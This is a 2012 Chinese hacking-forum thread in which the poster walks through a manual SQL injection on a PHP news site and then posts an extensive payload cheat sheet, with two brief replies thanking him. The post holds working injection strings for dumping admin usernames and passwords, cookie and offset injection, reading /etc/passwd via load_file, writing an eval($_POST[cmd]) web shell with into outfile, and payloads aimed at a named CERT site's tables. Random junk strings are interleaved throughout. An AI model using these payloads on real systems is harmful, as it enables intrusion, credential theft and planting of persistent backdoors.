找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3257|回复: 2
打印 上一主题 下一主题

手工注入拿下一站

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-23 14:47:22 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~
1 V; G2 R0 o0 X5 \让我看看,既然人家开口了,我也不好拒绝,那就看看吧?
/ y1 k$ ]8 l6 s: [4 @, Y& n, Z我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。
: Y1 ]7 A8 U' x) o+ G7 T如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。)
. [6 T3 H) P/ x! b& p7 a1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)
- ~* K: j2 L1 S! N, c5 l这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:
. w7 v1 ?4 Y: |Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in  a) _; w- O5 ^! x: K
/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入0 E% ]. O" u* l6 @
                         & A6 S" \/ Y7 u( x# s
2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,; o3 b4 t7 S- G) B
3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3   ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意7 U0 f( F4 Y$ e
4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息& S: t4 _2 K+ k, p
5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。
9 U  }- r6 N0 R$ I  Y: w! u有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,
! B. ~7 b% r  G% J0 |1 @2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。
2 F0 P- r, N* a/ F  t% I0 T& F8 V我就用的是第二个思路,
; z: ~- T$ t5 y+ s6 |) f. ~: V3 h提交and 1=2 union select 1,2,3,4,table_name,6,7,8  from information_schema.tables where table_schema=database() limit 0,1--  % ~" M, P$ Q: v+ d5 o
6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,3 X5 ^$ R4 F% C6 s, c
提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--
1 B4 b5 a: e  ~+ ^1 u; j/ g注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。% i1 x/ h2 E0 w7 u+ {' V9 T- @1 }( I
7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????
' d) Y& U  |# p是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd.....
9 {: P- l9 [; P. Z( G$ v+ Q! ~提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --6 u  a2 l8 f( w3 @* k2 }6 X$ w
然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,
0 |1 z2 _6 A& h; |# m0 v调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......( Q2 @: i  n  O' U- Z. k- j
下面是一些很普遍注入方式资料:- x* o, P' H9 O3 H" B2 A- s: P" f
注意:对于普通的get注入,如果是字符型,前加' 后加 and ''='
$ A3 U, {2 L3 i4 `拆半法9 h! `( A: h+ @: J' T9 [
######################################& F6 p- s# f  p0 `3 N; E; V. E3 a
and exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。
# L' w2 P1 e' Y7 e: oand exists (select * from admin)
% \, ]8 R/ |7 C4 d* eand exists(select id from admin)! a. H; T5 d1 P9 j  W$ ^! ?+ l
and exists(select id from admin where id=1)
* r0 c7 W3 ~: s" Z* ~9 kand exists(select id from admin where id>1) * Y& t/ n* b: U! ]* }5 F
然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围 4 f9 c+ u1 `6 ~. f5 {" h1 ?
and exists (select username from admin)
# O% ~5 x/ L0 ?3 Y; vand exists (select password from admin)4 c. p- n' x) a3 J
and exists (select id from admin where len(username)<10 and id=1)/ o2 y6 I1 L) f1 ~; L/ u
and exists (select id from admin where len(username)>5 and id=1)
8 w2 y) k9 |7 k9 w" fand exists (select id from admin where len(username)=6 and id=1)
" u$ O& |) n* x. mand exists (select id from admin where len(password)<10 and id=1)9 k; E% N$ Y- g# c0 N3 G
and exists (select id from admin where len(password)>5 and id=1)
) j- p! ?, Y2 M9 p) D& ?and exists (select id from admin where len(password)=7 and id=1)) q0 Z; w' L2 O; G. T' B8 j& Y% @
and (select top 1 asc(mid(username,1,1)) from admin)=97: h) i! A% l7 a) e. X4 K  j+ j
返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。
" c. _3 ~( g( ^5 Z, h8 w' ]2 e  N: F猜第二位把username,1,1改成username,2,1就可以了。& b' k: ?7 ?( d# Q3 N, M
猜密码把username改成password就OK了# w4 z1 s6 K: T  p, E
##################################################
; x; J( w/ J2 F# f: u搜索型注入  J" C4 n+ o' o; _4 b. J& n
##################################$ Y" r( ^% v7 j. Q
%' and 1=1 and '%'='9 y) H8 E1 x& `4 ^/ L0 R
%' and exists (select * from admin) and '%'='% g# z# n( w- Z# c7 E
%' and exists(select id from admin where id=1) and '%'='
+ k& d3 V* m9 u- \$ \. E1 L: |%' and exists (select id from admin where len(username)<10 and id=1) and '%'='
5 R9 y6 @7 e$ E+ T3 s%' and exists (select id from admin where len(password)=7 and id=1) and '%'='
. }# S' \$ [, V% I! k9 q9 k%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='
9 u; L# K* f: w, h" r. o+ o这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'='
( b2 @4 l: x  s+ C' O' d对于MSSQL数据库,后面可以吧 and '%'='换成--
1 \3 G4 B8 t  t* O还有一点搜索型注入也可以使用union语句。
- N" C0 P2 t3 Y########################################################
( g1 o, }# L2 b: F6 Z" F* @联合查询。! ^* U8 J4 l3 Y2 ~# C
#####################################
1 P' j( Y, c- b2 H+ @( lorder by 107 ?5 f! D8 g. \' `
and 1=2 union select 1,2,3,4,5,6,7,8,9,10% C; _4 a/ y, u. I7 Q6 m. o2 _
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin2 p$ |' x$ Y8 O4 O# t  s
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=11 D& [+ F6 y0 t6 A% F' @
很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)- h4 g! k' q) ?1 ]
###################################5 J2 P$ I& L1 C  p; F, w4 k
cookie注入
# m$ ~/ N2 ?3 f% M###############################3 L- h$ }2 [' `; x
http://www.******.com/shownews.asp?id=127' k; F) _! z" O8 n
http://www.******.com/shownews.asp. R/ O+ G/ d7 l* C
alert(="id="+escape("127"));
8 W3 Z2 q: v  P# ~+ ]alert(="id="+escape("127 and 1=1"));' w% l: h+ @( z+ ?; {% O
alert(="id="+escape("127 order by 10"));/ }+ b$ l0 a$ H" U" g+ t4 W/ K
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));8 X  B+ a. d' l( N6 N7 S
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));
* n+ {# T/ F- y这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。
! r) a' C% E* }' N###################################( ]' p4 B3 X' w  a
偏移注入+ G3 @/ O! q; A
###########################################################
1 ]8 X: q$ y* c) G8 |/ h5 B. ^# v" Vunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
  U# _: M5 ^  V# Kunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin
  N/ }$ R$ x- J7 Vunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)
  Q: v7 H7 p5 n6 I" o* cunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)
; i; Z; N' O1 I' R# cunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)' O6 t0 B% \1 B/ D% A
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
* G" L+ Z$ }8 _" N& A8 L" Z, T4 I0 vunion select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on1 _& m  ]/ S6 L4 c
a.id=d.id)
* Q6 i  a& i; Jand 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)
9 W5 c) {, ~- n% ~$ ]' `and 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
. O1 L# g& [- J( w4 |) g  $ V( v8 b8 |; g, ~1 k
============================================================================================================
1 S- Z: Q3 z. J  y! u% w2 x" e1.判断版本4 M+ R& e% S  o) G
and ord(mid(version(),1,1))>51
9 j, T  L. _* z3 b( b8 r返回正常,说明大于4.0版本,支持ounion查询" `( i1 |5 ]' M, l  g3 t
2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解
! q/ a+ k8 h- }- T. Wand 2=4 union select 1,2,3,4,5,6,7,8,9--0 N4 [7 b6 a9 Q$ `) P& g: {' a
3.查看数据库版本及当前用户,4 U/ i* u6 P+ }1 N# H- d3 O; {8 E
and 2=4 union select 1,user(),version(),4,5,6,7,8,9--8 B. z' v; A( I6 a  c1 `
数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,2 L) b$ k! v- V+ H
4.判断有没有写权限1 E. T2 m6 S1 n& o% Y' n% L  p
and (select count(*) from MySQL.user)>0-- 4 ]) a1 G; T+ }% N8 K; M" z7 |4 P, ^
5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1, }% |5 Z; a; \) M2 J  M* f
用不了这个命令,就学习土耳其黑客手法,如下1 W+ {' I2 t0 \8 H: q/ x3 y
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--6 Z6 B. R# M- N2 K( w
6.爆表,爆库/ I# H. F+ Z/ `% T# f: ?
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--
5 J1 m0 z! N9 q7.爆列名,爆表# q6 u& t% U0 r; B) M" ?+ ]
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--
( K  n* [; n( D- i: }8.查询字段数,直接用limit N,1去查询,直接N到报错为止。# t, G  L' ~7 U$ H! S: p, {; m
and+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--) I# e# {" O7 \
9.爆字段内容
' I4 g4 V2 x. `and+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--  p9 y# h/ v1 c- U3 F5 \
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1--
回复

使用道具 举报

沙发
发表于 2012-9-24 21:40:46 | 只看该作者
非常好的归纳。坐下慢慢看~
回复 支持 反对

使用道具 举报

板凳
发表于 2012-9-25 18:53:39 | 只看该作者
谢谢分享,学习思路啊
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表